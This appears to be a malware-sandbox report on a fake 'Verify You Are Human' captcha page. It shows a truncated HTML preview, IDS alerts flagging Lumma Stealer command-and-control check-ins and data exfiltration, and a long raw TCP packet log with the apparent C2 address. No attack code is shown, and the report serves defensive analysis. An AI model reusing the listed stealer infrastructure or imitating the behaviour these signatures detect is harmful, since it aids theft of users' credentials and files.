Preview:	..<!DOCTYPE html>..<html lang="en">..<head>.. <meta charset="UTF-8">.. <meta name="viewport" content="width=device-width, initial-scale=1.0">.. <title>Verify You Are Human</title>.. <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css">.. <style>.. body, html {.. margin: 0;.. padding: 0;.. width: 100%;.. height: 100%;.. display: flex;.. justify-content: center;.. align-items: center;.. font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;.. background: #f2f2f2;.. color: #333;.. }.. .container {.. text-align: center;.. max-width: 500px;.. margin: 20px;.. position: relative;.. }.. .recaptcha-box {.. padding: 20px;.. background: #fff;.. box-shadow: 0 5px 20px rgba(0, 0, 0, 0.3);.. b

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-10T12:49:36.111572+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.17	49738	104.21.80.1	443	TCP
2024-12-10T12:49:37.338441+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.17	49738	104.21.80.1	443	TCP
2024-12-10T12:49:37.338441+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.17	49738	104.21.80.1	443	TCP
2024-12-10T12:49:39.408659+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.17	49739	104.21.80.1	443	TCP
2024-12-10T12:49:40.161945+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.17	49739	104.21.80.1	443	TCP
2024-12-10T12:49:40.161945+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.17	49739	104.21.80.1	443	TCP
2024-12-10T12:49:43.412169+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.17	49742	104.21.80.1	443	TCP
2024-12-10T12:49:47.898023+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.17	49743	104.21.80.1	443	TCP
2024-12-10T12:49:51.747565+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.17	49744	104.21.80.1	443	TCP
2024-12-10T12:49:55.348117+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.17	49745	104.21.80.1	443	TCP
2024-12-10T12:49:56.367501+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.17	49745	104.21.80.1	443	TCP
2024-12-10T12:49:59.356437+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.17	49746	104.21.80.1	443	TCP
2024-12-10T12:49:59.359967+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.17	49746	104.21.80.1	443	TCP
2024-12-10T12:50:01.767984+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.17	49747	104.21.80.1	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 10, 2024 12:48:11.265885115 CET	49707	443	192.168.2.17	89.35.237.170
Dec 10, 2024 12:48:11.265918016 CET	443	49707	89.35.237.170	192.168.2.17
Dec 10, 2024 12:48:11.265997887 CET	49707	443	192.168.2.17	89.35.237.170
Dec 10, 2024 12:48:11.266453981 CET	49708	443	192.168.2.17	89.35.237.170
Dec 10, 2024 12:48:11.266496897 CET	443	49708	89.35.237.170	192.168.2.17
Dec 10, 2024 12:48:11.266556978 CET	49708	443	192.168.2.17	89.35.237.170
Dec 10, 2024 12:48:11.266650915 CET	49707	443	192.168.2.17	89.35.237.170
Dec 10, 2024 12:48:11.266665936 CET	443	49707	89.35.237.170	192.168.2.17
Dec 10, 2024 12:48:11.266944885 CET	49708	443	192.168.2.17	89.35.237.170
Dec 10, 2024 12:48:11.266961098 CET	443	49708	89.35.237.170	192.168.2.17
Dec 10, 2024 12:48:12.808326960 CET	443	49707	89.35.237.170	192.168.2.17
Dec 10, 2024 12:48:12.808567047 CET	49707	443	192.168.2.17	89.35.237.170
Dec 10, 2024 12:48:12.808581114 CET	443	49707	89.35.237.170	192.168.2.17
Dec 10, 2024 12:48:12.809617043 CET	443	49707	89.35.237.170	192.168.2.17
Dec 10, 2024 12:48:12.809717894 CET	49707	443	192.168.2.17	89.35.237.170
Dec 10, 2024 12:48:12.810740948 CET	49707	443	192.168.2.17	89.35.237.170
Dec 10, 2024 12:48:12.810803890 CET	443	49707	89.35.237.170	192.168.2.17
Dec 10, 2024 12:48:12.810847044 CET	49707	443	192.168.2.17	89.35.237.170
Dec 10, 2024 12:48:12.813246012 CET	443	49708	89.35.237.170	192.168.2.17
Dec 10, 2024 12:48:12.813436031 CET	49708	443	192.168.2.17	89.35.237.170
Dec 10, 2024 12:48:12.813462973 CET	443	49708	89.35.237.170	192.168.2.17
Dec 10, 2024 12:48:12.814532995 CET	443	49708	89.35.237.170	192.168.2.17
Dec 10, 2024 12:48:12.814611912 CET	49708	443	192.168.2.17	89.35.237.170
Dec 10, 2024 12:48:12.814857006 CET	49708	443	192.168.2.17	89.35.237.170
Dec 10, 2024 12:48:12.814908028 CET	443	49708	89.35.237.170	192.168.2.17
Dec 10, 2024 12:48:12.855329990 CET	443	49707	89.35.237.170	192.168.2.17
Dec 10, 2024 12:48:12.860358953 CET	49707	443	192.168.2.17	89.35.237.170
Dec 10, 2024 12:48:12.860363960 CET	49708	443	192.168.2.17	89.35.237.170
Dec 10, 2024 12:48:12.860380888 CET	443	49707	89.35.237.170	192.168.2.17
Dec 10, 2024 12:48:12.860393047 CET	443	49708	89.35.237.170	192.168.2.17
Dec 10, 2024 12:48:12.908343077 CET	49708	443	192.168.2.17	89.35.237.170
Dec 10, 2024 12:48:12.908349037 CET	49707	443	192.168.2.17	89.35.237.170
Dec 10, 2024 12:48:13.446382999 CET	443	49707	89.35.237.170	192.168.2.17
Dec 10, 2024 12:48:13.473620892 CET	443	49707	89.35.237.170	192.168.2.17
Dec 10, 2024 12:48:13.473637104 CET	443	49707	89.35.237.170	192.168.2.17
Dec 10, 2024 12:48:13.473716974 CET	49707	443	192.168.2.17	89.35.237.170
Dec 10, 2024 12:48:13.473718882 CET	443	49707	89.35.237.170	192.168.2.17
Dec 10, 2024 12:48:13.473766088 CET	49707	443	192.168.2.17	89.35.237.170
Dec 10, 2024 12:48:13.473990917 CET	49707	443	192.168.2.17	89.35.237.170
Dec 10, 2024 12:48:13.474011898 CET	443	49707	89.35.237.170	192.168.2.17
Dec 10, 2024 12:48:13.621186018 CET	49709	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:13.621246099 CET	443	49709	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:13.621862888 CET	49709	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:13.622423887 CET	49709	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:13.622442007 CET	443	49709	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:14.835124969 CET	443	49709	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:14.835416079 CET	49709	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:14.835459948 CET	443	49709	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:14.836471081 CET	443	49709	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:14.836546898 CET	49709	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:14.837568045 CET	49709	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:14.837629080 CET	443	49709	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:14.837765932 CET	49709	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:14.837775946 CET	443	49709	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:14.886360884 CET	49709	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:14.914227009 CET	49711	443	192.168.2.17	216.58.208.228
Dec 10, 2024 12:48:14.914268970 CET	443	49711	216.58.208.228	192.168.2.17
Dec 10, 2024 12:48:14.914355993 CET	49711	443	192.168.2.17	216.58.208.228
Dec 10, 2024 12:48:14.914581060 CET	49711	443	192.168.2.17	216.58.208.228
Dec 10, 2024 12:48:14.914597034 CET	443	49711	216.58.208.228	192.168.2.17
Dec 10, 2024 12:48:15.273648024 CET	443	49709	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:15.273703098 CET	443	49709	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:15.273740053 CET	443	49709	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:15.273756981 CET	49709	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:15.273772955 CET	443	49709	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:15.273812056 CET	49709	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:15.273808956 CET	443	49709	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:15.273823023 CET	443	49709	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:15.273864031 CET	49709	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:15.273988008 CET	443	49709	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:15.281857967 CET	443	49709	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:15.281912088 CET	49709	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:15.281924963 CET	443	49709	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:15.290231943 CET	443	49709	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:15.290283918 CET	49709	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:15.290291071 CET	443	49709	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:15.331370115 CET	49709	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:15.331378937 CET	443	49709	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:15.379368067 CET	49709	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:15.466322899 CET	443	49709	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:15.469583988 CET	443	49709	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:15.469799995 CET	49709	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:15.469816923 CET	443	49709	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:15.477411985 CET	443	49709	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:15.477507114 CET	49709	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:15.477540016 CET	443	49709	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:15.485157013 CET	443	49709	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:15.485232115 CET	49709	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:15.485245943 CET	443	49709	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:15.493081093 CET	443	49709	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:15.493206978 CET	49709	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:15.493221045 CET	443	49709	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:15.508444071 CET	443	49709	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:15.508513927 CET	443	49709	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:15.508692026 CET	49709	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:15.508718014 CET	443	49709	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:15.508774042 CET	49709	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:15.516160011 CET	443	49709	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:15.523901939 CET	443	49709	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:15.524004936 CET	443	49709	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:15.524017096 CET	49709	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:15.524043083 CET	443	49709	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:15.524171114 CET	49709	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:15.531728983 CET	443	49709	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:15.539474964 CET	443	49709	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:15.539638042 CET	49709	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:15.539669991 CET	443	49709	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:15.583508968 CET	49709	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:15.583549976 CET	443	49709	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:15.630522013 CET	49709	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:15.657793999 CET	443	49709	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:15.661684990 CET	443	49709	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:15.661864042 CET	49709	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:15.661890984 CET	443	49709	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:15.669466019 CET	443	49709	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:15.669533968 CET	49709	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:15.669563055 CET	443	49709	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:15.677126884 CET	443	49709	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:15.677182913 CET	49709	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:15.677205086 CET	443	49709	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:15.684881926 CET	443	49709	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:15.685005903 CET	49709	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:15.685022116 CET	443	49709	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:15.706697941 CET	443	49709	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:15.706712008 CET	443	49709	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:15.706976891 CET	49709	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:15.706998110 CET	443	49709	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:15.714050055 CET	443	49709	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:15.714148045 CET	49709	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:15.714179039 CET	443	49709	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:15.714234114 CET	49709	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:15.721189022 CET	443	49709	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:15.735708952 CET	443	49709	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:15.735852003 CET	49709	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:15.735867023 CET	443	49709	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:15.736072063 CET	49709	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:15.743088961 CET	443	49709	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:15.743102074 CET	443	49709	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:15.743182898 CET	49709	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:15.757587910 CET	443	49709	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:15.757597923 CET	443	49709	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:15.757673979 CET	49709	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:15.772032022 CET	443	49709	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:15.772047043 CET	443	49709	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:15.772245884 CET	49709	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:15.779392004 CET	443	49709	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:15.779479027 CET	49709	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:15.779505014 CET	443	49709	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:15.779529095 CET	443	49709	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:15.779577971 CET	49709	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:15.779814959 CET	49709	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:15.779831886 CET	443	49709	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:16.013226986 CET	49708	443	192.168.2.17	89.35.237.170
Dec 10, 2024 12:48:16.059340000 CET	443	49708	89.35.237.170	192.168.2.17
Dec 10, 2024 12:48:16.611205101 CET	443	49711	216.58.208.228	192.168.2.17
Dec 10, 2024 12:48:16.611690998 CET	49711	443	192.168.2.17	216.58.208.228
Dec 10, 2024 12:48:16.611711979 CET	443	49711	216.58.208.228	192.168.2.17
Dec 10, 2024 12:48:16.612799883 CET	443	49711	216.58.208.228	192.168.2.17
Dec 10, 2024 12:48:16.612874031 CET	49711	443	192.168.2.17	216.58.208.228
Dec 10, 2024 12:48:16.617984056 CET	49711	443	192.168.2.17	216.58.208.228
Dec 10, 2024 12:48:16.618046045 CET	443	49711	216.58.208.228	192.168.2.17
Dec 10, 2024 12:48:16.627548933 CET	443	49708	89.35.237.170	192.168.2.17
Dec 10, 2024 12:48:16.629257917 CET	443	49708	89.35.237.170	192.168.2.17
Dec 10, 2024 12:48:16.629463911 CET	49708	443	192.168.2.17	89.35.237.170
Dec 10, 2024 12:48:16.632560015 CET	49708	443	192.168.2.17	89.35.237.170
Dec 10, 2024 12:48:16.632585049 CET	443	49708	89.35.237.170	192.168.2.17
Dec 10, 2024 12:48:16.665368080 CET	49711	443	192.168.2.17	216.58.208.228
Dec 10, 2024 12:48:16.665410995 CET	443	49711	216.58.208.228	192.168.2.17
Dec 10, 2024 12:48:16.713386059 CET	49711	443	192.168.2.17	216.58.208.228
Dec 10, 2024 12:48:18.454391956 CET	49713	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:18.454416990 CET	443	49713	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:18.454546928 CET	49713	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:18.454807997 CET	49713	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:18.454819918 CET	443	49713	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:19.736187935 CET	443	49713	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:19.736483097 CET	49713	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:19.736500025 CET	443	49713	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:19.737557888 CET	443	49713	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:19.737638950 CET	49713	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:19.738120079 CET	49713	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:19.738182068 CET	443	49713	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:19.738503933 CET	49713	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:19.738512039 CET	443	49713	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:19.787395954 CET	49713	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:20.180413008 CET	443	49713	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:20.180489063 CET	443	49713	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:20.180525064 CET	443	49713	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:20.180550098 CET	49713	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:20.180562973 CET	443	49713	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:20.180577040 CET	443	49713	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:20.180660963 CET	49713	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:20.180681944 CET	443	49713	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:20.180731058 CET	49713	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:20.188697100 CET	443	49713	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:20.197309017 CET	443	49713	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:20.197387934 CET	49713	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:20.197396040 CET	443	49713	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:20.205523968 CET	443	49713	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:20.205591917 CET	49713	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:20.205599070 CET	443	49713	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:20.248414993 CET	49713	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:20.299499989 CET	443	49713	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:20.344412088 CET	49713	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:20.372648954 CET	443	49713	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:20.376533031 CET	443	49713	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:20.376574993 CET	443	49713	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:20.376597881 CET	49713	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:20.376605988 CET	443	49713	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:20.376648903 CET	49713	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:20.384253025 CET	443	49713	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:20.392258883 CET	443	49713	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:20.392318010 CET	443	49713	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:20.392344952 CET	49713	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:20.392352104 CET	443	49713	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:20.392410994 CET	49713	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:20.399880886 CET	443	49713	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:20.407666922 CET	443	49713	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:20.407733917 CET	49713	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:20.407744884 CET	443	49713	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:20.415676117 CET	443	49713	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:20.415774107 CET	49713	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:20.415780067 CET	443	49713	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:20.423243999 CET	443	49713	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:20.423326969 CET	49713	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:20.423332930 CET	443	49713	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:20.438956022 CET	443	49713	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:20.439057112 CET	49713	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:20.439064026 CET	443	49713	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:20.445172071 CET	443	49713	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:20.445250034 CET	49713	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:20.445257902 CET	443	49713	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:20.451565027 CET	443	49713	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:20.451622009 CET	49713	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:20.451630116 CET	443	49713	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:20.504384995 CET	49713	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:20.565166950 CET	443	49713	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:20.567441940 CET	443	49713	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:20.567512035 CET	49713	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:20.567523956 CET	443	49713	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:20.571901083 CET	443	49713	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:20.571945906 CET	49713	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:20.571954012 CET	443	49713	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:20.577595949 CET	443	49713	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:20.577869892 CET	49713	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:20.577883959 CET	443	49713	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:20.586576939 CET	443	49713	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:20.587177992 CET	49713	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:20.587188959 CET	443	49713	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:20.590765953 CET	443	49713	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:20.590833902 CET	49713	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:20.590842009 CET	443	49713	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:20.592793941 CET	49713	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:20.600775003 CET	443	49713	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:20.600785017 CET	443	49713	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:20.600862026 CET	49713	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:20.600879908 CET	443	49713	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:20.600920916 CET	49713	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:20.610323906 CET	443	49713	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:20.610332012 CET	443	49713	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:20.610398054 CET	49713	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:20.619426012 CET	443	49713	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:20.619488955 CET	49713	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:20.628019094 CET	443	49713	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:20.628109932 CET	49713	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:20.634676933 CET	443	49713	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:20.634794950 CET	49713	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:20.642556906 CET	443	49713	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:20.642678976 CET	49713	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:20.764650106 CET	443	49713	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:20.764754057 CET	49713	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:20.767100096 CET	443	49713	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:20.767170906 CET	49713	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:20.773962021 CET	443	49713	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:20.774019957 CET	49713	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:20.780797958 CET	443	49713	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:20.780971050 CET	49713	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:20.784497976 CET	443	49713	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:20.784553051 CET	49713	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:20.784563065 CET	443	49713	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:20.784584045 CET	443	49713	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:20.784605980 CET	49713	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:20.784627914 CET	49713	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:20.784821987 CET	49713	443	192.168.2.17	104.17.24.14
Dec 10, 2024 12:48:20.784833908 CET	443	49713	104.17.24.14	192.168.2.17
Dec 10, 2024 12:48:26.307372093 CET	443	49711	216.58.208.228	192.168.2.17
Dec 10, 2024 12:48:26.307437897 CET	443	49711	216.58.208.228	192.168.2.17
Dec 10, 2024 12:48:26.307569981 CET	49711	443	192.168.2.17	216.58.208.228
Dec 10, 2024 12:48:28.187905073 CET	49711	443	192.168.2.17	216.58.208.228
Dec 10, 2024 12:48:28.187922955 CET	443	49711	216.58.208.228	192.168.2.17
Dec 10, 2024 12:48:28.362937927 CET	49675	443	192.168.2.17	204.79.197.203
Dec 10, 2024 12:48:28.677452087 CET	49675	443	192.168.2.17	204.79.197.203
Dec 10, 2024 12:48:29.281444073 CET	49675	443	192.168.2.17	204.79.197.203
Dec 10, 2024 12:48:30.488424063 CET	49675	443	192.168.2.17	204.79.197.203
Dec 10, 2024 12:48:32.530836105 CET	49680	443	192.168.2.17	20.189.173.13
Dec 10, 2024 12:48:32.812072039 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:32.812087059 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:32.812282085 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:32.821271896 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:32.821285963 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:32.845437050 CET	49680	443	192.168.2.17	20.189.173.13
Dec 10, 2024 12:48:32.893441916 CET	49675	443	192.168.2.17	204.79.197.203
Dec 10, 2024 12:48:33.450469971 CET	49680	443	192.168.2.17	20.189.173.13
Dec 10, 2024 12:48:34.663608074 CET	49680	443	192.168.2.17	20.189.173.13
Dec 10, 2024 12:48:35.027901888 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:35.027997971 CET	49729	443	192.168.2.17	47.254.218.16
